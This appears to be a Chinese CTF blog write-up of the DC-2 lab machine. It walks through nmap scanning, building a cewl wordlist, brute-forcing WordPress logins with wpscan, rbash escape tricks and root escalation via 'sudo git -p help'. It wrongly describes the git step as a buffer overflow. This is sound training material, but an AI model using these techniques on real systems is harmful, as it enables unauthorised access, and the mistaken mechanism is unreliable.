这个靶机和DC-1一样,一共5个flag。全部拿到通关。

root@kali:/home/kali# nmap -sP 192.168.1.*

先扫一下靶机的IP地址,拿到靶机的地址为192.168.1.3。

再详细的对靶机进行扫描,尽可能多的获取靶机的信息。信息收集对于渗透测试非常重要,能否挖到漏洞往往取决于目标信息是否尽可能多的被收集。

root@kali:/home/kali# nmap -sS -Pn -A -p- -n 192.168.1.9
//-n/-R: -n表示不对目标最DNS解析,-R表示进行DNS解析,缺省为必要时候进行DNS解析
//-Pn:跳过主机发现,视所有主机都在线
//-A:使用系统探测、版本检测、脚本扫描、路由追踪

这里被坑了一下,在拿到端口的时候却无法访问,看WP才知道是域名解析的问题,在访问IP地址时会自动跳转到http://dc-2,其实在扫描的时候就有说到dc-2没有被写入,奈何太simple,忽略了。



将192.168.1.9 dc-2写入到hosts文件中,windows下的hosts文件的路径是

c:\windows\system32\drivers\etc\hosts

从我们扫描的结果来看这个站用的是WordPress,这是一个PHP语言和MySQL开发的博客平台。暴出过不少的漏洞。我们可以利用他的一些漏洞来getshell。

在成功访问目标的80端口的时候我们也拿到了第一个flag。意思大概就是使用一般的字典可能不管用,可能需要用到cewl,字典包含的密码多总是好的,但是不可能包含所有的,登录可以看到下一个flag。



cewl是一个字典生成工具。详情参考 https://www.freebuf.com/articles/network/190128.html

从第一个flag给的提示来看,应该是用cewl生成这个网站的字典然后登陆。

root@kali:/home/kali# cewl -w dc-2-password http://dc-2/
root@kali:/home/kali# cat dc-2-password



生成了字典,但是网站并没有直接给后台的入口,那么我们可以扫这个网站的目录。

这里用到WpSan这款工具,WPScan是Kali Linux默认自带的一款漏洞扫描工具,它采用Ruby编写,能够扫描WordPress网站中的多种安全漏洞,其中包括主题漏洞、插件漏洞和WordPress本身的漏洞,

详情参考 https://www.freebuf.com/sectool/174663.html

root@kali:/home/kali# wpscan --url http://dc-2 --enumerate u
//–enumerate选项来扫描并发现关于目标站点主题、插件和用户名信息



获取到的信息:网站的几个目录,WordPress的版本,WordPress采用的主题,三个用户admin,jerry,tom。那么我们可以将拿到的三个用户写入字典当成用户名爆破

root@kali:/home/kali# touch dc-2-username
root@kali:/home/kali# vim dc-2-username //将三个用户名写进去
root@kali:/home/kali# cat dc-2-username
admin
jerry
tom

然后爆破

root@kali:/home/kali# wpscan --url http://dc-2 -U dc-2-username -P dc-2-password

拿到jerry和tom的用户密码:adipiscing和parturient



但是我们并没有拿到网站的后台路径,常规思路扫后台。这里用dirb工具

root@kali:/home/kali# dirb http://dc-2

拿到后台的路径



用得到的两个用户名和密码登录。在jerry的账号里面拿到第二个flag,第二的flag的意思是如果你无法找到利用WordPress的捷径,还有另外一种方法,希望你能找到另一种方法。



做到这好像思路就断了,flag2没给什么有用的提示呀。在nmao扫描的时候还有一个点没用上,开放了7744端口ssh。我们用ssh连接DC-2主机试下。jerry账号连接显示权限限制,tom账号可以连接上。

root@kali:/home/kali# ssh tom@192.168.1.9 -p 7744



查看当前目录下的文件,拿到flag3.txt,单纯的我一开始以为这个就是flag3的内容,再看一眼这好像是报错信息吧。不懂就谷歌,rbash就是受限制的bash,一般管理员会限制很多命令,显然这里cat命令无法使用。



那查看可用的命令有哪些。



可以使用的命令有less、ls、scp、vi。这里涉及到了rbash逃逸(啥呀,待会去瞅瞅)

使用less绕过:$less test 然后!'sh'

使用ls绕过:$man ls 然后!'sh'

使用vi绕过:$vi test 然后:!/bin/sh 或者 :!/bin/bash

还可以用 BASH_CMDS[a]=/bin/sh;a 直接绕过

tom@DC-2:~$ BASH_CMDS[a]=/bin/sh;a	//切换shell
$ export PATH=$PATH:/bin/ //添加$PATH,cat和su都在/bin下
$ export PATH=$PATH:/usr/bin //sudo在/usr/bin下
$ cat flag3.txt

拿到flag3的内容。意思是可怜的Tom总是在追逐jerry,为jerry给他造成的压力他需要切换用户。



这里切换成jerry用户拿到flag4。

$ su jerry  //切换用户
Password:

切换到jerry的用户目录拿到flag4。意思到了最后一步我们需要拿到最后的Flag。最后一句提示要用到git。



这里用git提权,原理是git存在缓冲区溢出漏洞,在使用sudo git -p help时,不需要输入root密码即可以root权限执行这条命令。

jerry@DC-2:~$ sudo git -p help



进入到root目录下,拿到最后的flag。

总结这个靶机涉及到的点:

1、linux下的hosts文件路径

/etc/hosts

2、cewl工具

CeWL是一款以爬虫模式在指定URL上收集单词的工具,可以将它收集到的单词纳入密码字典,以提高密码破解工具的成功率。

cewl http://www.ignitetechnologies.in/  //默认方法
cewl http://www.ignitetechnologies.in/ -w dict.txt //-w
cewl http://www.ignitetechnologies.in/ -m 9 //生成长度至少为9的密码 -m
cewl http://www.ignitetechnologies.in/ -n -e //从网站中获取Email -e
cewl http://www.ignitetechnologies.in/ -c //计算网站字典中重复的单词数量 -c
cewl http://www.ignitetechnologies.in/ -d 3 //增加爬虫的爬取深度以生成更大的字典文件 -d
cewl http://www.ignitetechnologies.in/ --debug //提取调试信息 -debug

3、WPScan工具

转载两篇大佬的文章,写得挺详细的

https://www.freebuf.com/sectool/88653.html 如何使用WPScan辅助渗透WordPress网站

https://xz.aliyun.com/t/2794#toc-0 WPScan使用完整教程之记一次对WordPress的渗透过程

4、linux的环境变量

PATH变量:设定解释器搜索所执行的的命令的路径。

export命令可以吧一般变量转换成全局变量

5、rbash逃逸

https://xz.aliyun.com/t/7642 rbash逃逸大全

6、git提权

sudo git help config
!/bin/bash或者!'sh'完成提权
sudo git -p help
!/bin/bash

靶机DC-2 rbash绕过+git提权的更多相关文章

  1. 多平台密码绕过及提权工具Kon-Boot的使用与防范

    在单用户的机器上密码可能没那么重要,但是一旦有多个用户可以使用这台机器,密码就显得十分必要了(比如有儿童账户的电脑).所以说为你的电脑增设一条防线的最常用,最简单的方法就是用密码将你的电脑保护起来,但 ...

  2. linux提权方法(不断总结更新)

    目录 1.suid提权 2.rbash绕过 3.git提权 4.Linux Kernel 4.4.x (Ubuntu 16.04) - 'double-fdput()' bpf(BPF_PROG_LO ...

  3. Cobalt Strike系列教程第七章:提权与横向移动

    Cobalt Strike系列教程分享如约而至,新关注的小伙伴可以先回顾一下前面的内容: Cobalt Strike系列教程第一章:简介与安装 Cobalt Strike系列教程第二章:Beacon详 ...

  4. Windows提权总结

    当以低权用户进去一个陌生的windows机器后,无论是提权还是后续做什么,第一步肯定要尽可能的搜集信息.知己知彼,才百战不殆. 常规信息搜集 systeminfo 查询系统信息 hostname 主机 ...

  5. Windows提权小结

    摸鱼的时候,想想内网这部分还有什么地方适合水一下,翻翻往期,开始填坑 总结一下Windows提权的部分,以后有时间再补一下Linux提权 这仍然是一篇思路总结类的随笔,具体细节内容不展开,也展开不了. ...

  6. vulnhub靶机之DC6实战(wordpress+nmap提权)

    0x00环境 dc6靶机下载地址:https://download.vulnhub.com/dc/DC-6.zip dc6以nat模式在vmware上打开 kali2019以nat模式启动,ip地址为 ...

  7. 从getwebshell到绕过安全狗云锁提权再到利用matasploit进服务器

    本文作者:i春秋签约作家——酷帥王子 一. 利用getwebshell篇 首先对目标站进行扫描,发现是asp的,直接扫出网站后台和默认数据库,下载解密登陆如图: 下面进后台发现有fckeditor,而 ...

  8. 一次绕过防火墙获取RCE以及提权到root权限的渗透过程

    本文是关于Apache struts2 CVE-2013-2251是由于导致执行远程命令的影响而被高度利用的漏洞.简而言之, 通过操纵以“action:”/”redirect:”/”redirectA ...

  9. 21. 从一道CTF靶机来学习mysql-udf提权

    这次测试的靶机为 Raven: 2 这里是CTF解题视频地址:https://www.youtube.com/watch?v=KbUUn3SDqaU 此次靶机主要学习 PHPMailer 跟 mymq ...

随机推荐

  1. 使用Git将代码上传至Gitee码云中

    Git是一个开源的分布式版本控制系统,可以高效处理任何或小或大的项目 Git与常用的版本控制工具CVS.Subversion 不同,Git采用了分布式版本库的方式,不必服务器端软件支持 Git与SVN ...

  2. Linux中su和sudo的用法

    su -#su - oldboy //当执行这个命令的时候表示切换到oldboy用户,并且重新读取用户环境相关配置文件,具体的来说就是执行下用户家目录下.bash_profile和.bashrc文件, ...

  3. 66.QT-线程并发、QTcpServer并发、QThreadPool线程池

    1.线程并发一个程序内部能拥有多个线程并行执行.一个线程的执行可以被认为是一个CPU在执行该程序.当一个程序运行在多线程下,就好像有多个CPU在同时执行该程序.总之,多线程即可以这么理解:多线程是处理 ...

  4. 17、linux root用户密码找回

    17.1.救援模式: 光盘模式启动(第一启动项) 删除/mnt/sysimage/etc/passwd root的密码,halt重启. 改为硬盘启动模式,无密码进入root,为root新建密码 17. ...

  5. 46、django工程(view)

    46.1.django view 视图函数说明: 1.http请求中产生两个核心对象: (1)http请求:HttpRequest对象. (2)http响应:HttpResponse对象. 2.vie ...

  6. Redis 实战篇:GEO助我邂逅附近女神

    码老湿,阅读了你的巧用数据类型实现亿级数据统计之后,我学会了如何游刃有余的使用不同的数据类型(String.Hash.List.Set.Sorted Set.HyperLogLog.Bitmap)去解 ...

  7. keycloak文章汇总

    keycloak文章汇总 Keycloak是一个致力于解决应用和服务身份验证与访问管理的开源工具.可以通过简单的配置达到保护应用和服务的目的. 用户管理 你的应用不需要开发登录模块,验证用户和保存用户 ...

  8. Redis:redis.conf配置文件 - 及配置详解

    配置文件详解(文章最后有完整的redis.conf文件) ###################################  NETWORK  ######################### ...

  9. Linux:CentOS7防火墙 开放端口配置

    查看已开放的端口 firewall-cmd --list-ports 开放端口(开放后需要要重启防火墙才生效) firewall-cmd --zone=public --add-port=3338/t ...

  10. php漏洞 strcmp漏洞

    0x01: 背景:strcmp函数,参数是两个字符串,相等返回为零,大于,返回大于零,小于,返回小于零. 0x02: 如果传入的值,不是字符串的话,会报错,同时使得两个字符串直接相等,返回为零. 一般 ...